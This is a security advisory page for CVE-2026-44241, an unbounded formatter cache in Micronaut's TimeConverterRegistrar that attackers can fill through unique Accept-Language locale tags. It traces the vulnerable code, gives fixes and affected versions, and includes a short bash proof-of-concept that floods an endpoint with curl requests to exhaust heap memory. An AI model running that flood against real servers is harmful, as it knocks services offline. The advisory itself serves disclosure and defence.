# CVE-2026-44241: micronaut-context — Fixed in 4.10.22 ☕ ☕ Maven Not in CISA KEV HIGH severity # CVE-2026-44241 — micronaut-context HIGH [Fix: micronaut-projects/micronaut-core@48f05ae](https://github.com/micronaut-projects/micronaut-core/commit/48f05ae8dc4157816fe0050c5cf730be7d44f8b3) CVE-2026-44241 is a high-severity (CVSS 7.5) Uncontrolled Resource Consumption vulnerability in io.micronaut:micronaut-context. A fix is available for io.micronaut:micronaut-context — see the affected versions and patch details below. Micronaut Framework: Unbounded formattersCache in TimeConverterRegistrar Allows Memory Exhaustion via Accept-Language Header Also known as[GHSA-8hjv-92q9-g4xj](/vulnerability/GHSA-8hjv-92q9-g4xj) Published May 12, 2026 Updated Oct 28, 2026 Affected 3 pkgs Patched 3 / 3 Exploits None indexed Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS) ## Exploitation Status ### Proof-of-concept exploit code exists - CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation. - CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks. Exploitation and automatability from CISA’s SSVC triage for CVE-2026-44241. ## EPSS Exploitation Probability [via FIRST.org ↗](https://www.first.org/epss/) 0.6%probability of exploitation in next 30 days Lower Risk0.00% Lower risk than most CVEs51th percentile — riskier than 51% of all scored CVEsHighest risk 0.00%0.41%0.81%1.22%0.0%0.6%Jun 26Sep 26Nov 26 Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/). ## How urgent is this, really ## Where this sits among everything scored ## Real-World Exposure 3 pkgs affected ☕`io.micronaut:micronaut-context`☕`io.micronaut:micronaut-context`☕`io.micronaut:micronaut-context` Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems. ## Description ### Summary `TimeConverterRegistrar` caches `DateTimeFormatter` instances in an unbounded `ConcurrentHashMap` whose key is derived from the `@Format` annotation pattern concatenated with the locale from the HTTP `Accept-Language` header. Because `Locale.forLanguageTag()` accepts arbitrary BCP 47 private-use extensions (`en-x-a001`, `en-x-a002`, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally identical to the recently patched GHSA-2hcp-gjrf-7fhc (`DefaultHtmlErrorResponseBodyProvider`), but `TimeConverterRegistrar.formattersCache` was not covered by that fix. ### Details The vulnerable cache is declared in `context/src/main/java/io/micronaut/runtime/converters/time/TimeConverterRegistrar.java` at line 123: ``` // TimeConverterRegistrar.java:123 private final Map formattersCache = new ConcurrentHashMap<>(); ``` The `getFormatter` method at line 434 inserts into this map with no eviction or size limit: ``` // TimeConverterRegistrar.java:434-443 private DateTimeFormatter getFormatter(String pattern, ConversionContext context) { var key = pattern + context.getLocale(); // locale from Accept-Language header var cachedFormatter = formattersCache.get(key); if (cachedFormatter != null) { return cachedFormatter; } var formatter = DateTimeFormatter.ofPattern(pattern, context.getLocale()); formattersCache.put(key, formatter); // NO SIZE CHECK — unbounded growth return formatter; } ``` The attacker-controlled locale flows into the cache key through this call chain: 1. **HTTP header parsed** — `HttpHeaders.findAcceptLanguage()` at `http/src/main/java/io/micronaut/http/HttpHeaders.java:766-771` calls `Locale.forLanguageTag(part)` directly on the raw `Accept-Language` value: ``` // HttpHeaders.java:766-771 default Optional findAcceptLanguage() { return findFirst(HttpHeaders.ACCEPT_LANGUAGE) .map(text -> { String part = HttpHeadersUtil.splitAcceptHeader(text); return part == null ? Locale.getDefault() : Locale.forLanguageTag(part); }); } ``` 1. **Locale planted in ConversionContext** — `AbstractRouteMatch.newContext()` at `router/src/main/java/io/micronaut/web/router/AbstractRouteMatch.java:373-378` passes the request locale into the conversion context for every route argument binding: ``` // AbstractRouteMatch.java:373-378 private ArgumentConversionContext newContext(Argument argument, HttpRequest request) { return ConversionContext.of( argument, request.getLocale().orElse(null), // ← attacker-controlled via Accept-Language request.getCharacterEncoding() ); } ``` 1. **Unbounded cache insert** — When any temporal argument annotated with `@Format` is bound, `TimeConverterRegistrar.getFormatter(pattern, context)` is called and inserts a new `DateTimeFormatter` for each unique `pattern + locale` key. This path is triggered for any route endpoint with a `@Format`\-annotated temporal parameter. This is an officially documented and commonly used Micronaut pattern, demonstrated in the framework's own test suite: ``` // test-suite/.../BindingController.java:105 (official Micronaut example) @Get("/dateFormat") public String dateFormat(@Format("dd/MM/yyyy hh:mm:ss a z") @Header ZonedDateTime date) { return date.toString(); } ``` `TimeConverterRegistrar` is an `@Internal` core bean registered unconditionally in every Micronaut application — it is not optional or user-configured. By contrast, the `DefaultHtmlErrorResponseBodyProvider` cache patched in GHSA-2hcp-gjrf-7fhc now uses a `ConcurrentLinkedHashMap` bounded at 100 entries; `TimeConverterRegistrar.formattersCache` remains an unbounded plain `ConcurrentHashMap`. ### PoC Against any Micronaut application exposing an endpoint with a `@Format`\-annotated temporal parameter: ``` # Flood the formattersCache with unique locale-derived keys for i in $(seq 1 200000); do curl -s -o /dev/null \ -H "Accept-Language: en-x-$(printf '%06d' $i)" \ -H "date: 01/01/2024 12:00:00 AM UTC" \ "http://localhost:8080/dateFormat" & # Throttle to avoid socket exhaustion [ $((i % 500)) -eq 0 ] && wait done wait # Server will throw OutOfMemoryError after enough unique locale entries accumulate ``` Each request with a novel `en-x-XXXXXX` private-use tag inserts a new `DateTimeFormatter` entry into the unbounded map. Each `DateTimeFormatter` (with locale metadata) occupies roughly 2–10 KB on the heap. At 100,000 unique entries, the map alone can consume ~500 MB; at 500,000 entries the JVM typically crashes with `OutOfMemoryError: Java heap space`. ### Impact - An unauthenticated attacker can crash any Micronaut server that exposes at least one endpoint with a `@Format`\-annotated temporal type parameter — a documented, first-class framework feature. - Memory grows linearly with the number of unique `Accept-Language` values sent. The BCP 47 private-use namespace (`en-x-ANYTHING`) provides millions of distinct valid locale strings. - No credentials, special permissions, or exploitation of application logic are required — only the ability to send HTTP requests with custom headers. - `TimeConverterRegistrar` is active in all Micronaut HTTP server applications by default; no special configuration is needed to be vulnerable. ### Recommended Fix Apply the same fix pattern used for GHSA-2hcp-gjrf-7fhc: replace the unbounded `ConcurrentHashMap` with a bounded `ConcurrentLinkedHashMap`: ``` // In TimeConverterRegistrar.java — replace line 123 import io.micronaut.core.util.clhm.ConcurrentLinkedHashMap; private static final int MAX_FORMATTERS_CACHE_SIZE = 100; private final Map formattersCache = new ConcurrentLinkedHashMap.Builder() .maximumWeightedCapacity(MAX_FORMATTERS_CACHE_SIZE) .build(); ``` Alternatively, since `@Format` pattern values come from static annotations (a bounded, compile-time set), the locale should be excluded from the cache key and applied at use-time instead: ``` // In getFormatter() — cache only by pattern, apply locale at use-time private DateTimeFormatter getFormatter(String pattern, ConversionContext context) { DateTimeFormatter base = formattersCache.computeIfAbsent( pattern, p -> DateTimeFormatter.ofPattern(p) ); Locale locale = context.getLocale(); return locale != null ? base.withLocale(locale) : base; } ``` This second approach bounds the cache by the number of distinct `@Format` patterns in the application, which is always small and finite, fully eliminating the attack surface. ## Affected Packages 3 total 3 fixed Ecosystem Package Vulnerable range Fix ☕Maven `io.micronaut:micronaut-context` ≥ 4.3.0&&< 4.10.22 4.10.22`io.micronaut:micronaut-context:4.10.22` ☕Maven `io.micronaut:micronaut-context` ≥ 3.10.0&&< 3.10.6 3.10.6`io.micronaut:micronaut-context:3.10.6` ☕Maven `io.micronaut:micronaut-context` all versions 3.8.14`io.micronaut:micronaut-context:3.8.14` ## Detection & mitigation playbook Open-source dependency 1. ### Detect Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for io.micronaut:micronaut-context, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version. 2. ### Fix Update io.micronaut:micronaut-context to 4.10.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-44241 is resolved across your whole dependency graph. 3. ### Workarounds Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service. ## Frequently Asked Questions \## Summary \`TimeConverterRegistrar\` caches \`DateTimeFormatter\` instances in an unbounded \`ConcurrentHashMap\` whose key is derived from the \`@Format\` annotation pattern concatenated with the locale from the HTTP \`Accept-Language\` header. Because \`Locale.forLanguageTag()\` accepts arbitrary BCP 47 private-use extensions (\`en-x-a001\`, \`en-x-a002\`, …), an unauthenticated attacker can generate an unlimited number of unique cache keys by sending requests with novel locale tags, growing the cache until heap memory is exhausted and the JVM crashes. This is structurally ident O3 Security · Impact-Aware SCA ### Is CVE-2026-44241 in your dependencies? Find it across Maven, including transitive dependencies. [Scan my dependencies](/book-demo) [How O3 SCA works](/impact-aware-sca)